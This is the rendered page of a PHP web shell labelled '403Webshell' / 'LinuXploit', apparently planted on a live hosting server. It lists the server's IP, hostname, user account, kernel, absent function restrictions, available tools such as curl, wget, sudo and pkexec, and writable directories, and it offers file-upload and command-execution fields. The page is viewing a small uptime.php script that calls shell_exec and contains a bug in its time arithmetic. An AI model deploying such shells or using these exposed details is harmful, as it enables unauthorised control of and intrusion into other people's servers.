403Webshell
Server IP : 216.238.111.58  /  Your IP : 216.73.217.34
Web Server : LiteSpeed
System : Linux hosting.smartskills.com.br 4.18.0-553.120.1.el8_10.x86_64 #1 SMP Mon Apr 20 18:04:27 EDT 2026 x86_64
User : skillsitcom ( 1002)
PHP Version : 8.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/skillsitcom/.trash/dashboard/front/sh/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/skillsitcom/.trash/dashboard/front/sh/uptime.php
<?php

$totalSeconds1 = shell_exec("/usr/bin/cut -d. -f1 /proc/uptime");
$totalSeconds = strtotime($totalSeconds1);
$totalMin   = $totalSeconds / 60;
$totalHours = $totalMin / 60;

$days  = floor($totalHours / 24);
$hours = floor($totalHours - ($days * 24));
$min   = floor($totalMin - ($days * 60 * 24) - ($hours * 60));

$formatUptime = '';
if ($days != 0) {
    $formatUptime .= "$days d ";
}

if ($hours != 0) {
    $formatUptime .= "$hours h ";
}

if ($min != 0) {
    $formatUptime .= "$min m";
}

//header('Content-Type: application/json; charset=UTF-8');
echo ($formatUptime);

Youez - 2016 - github.com/yon3zu
LinuXploit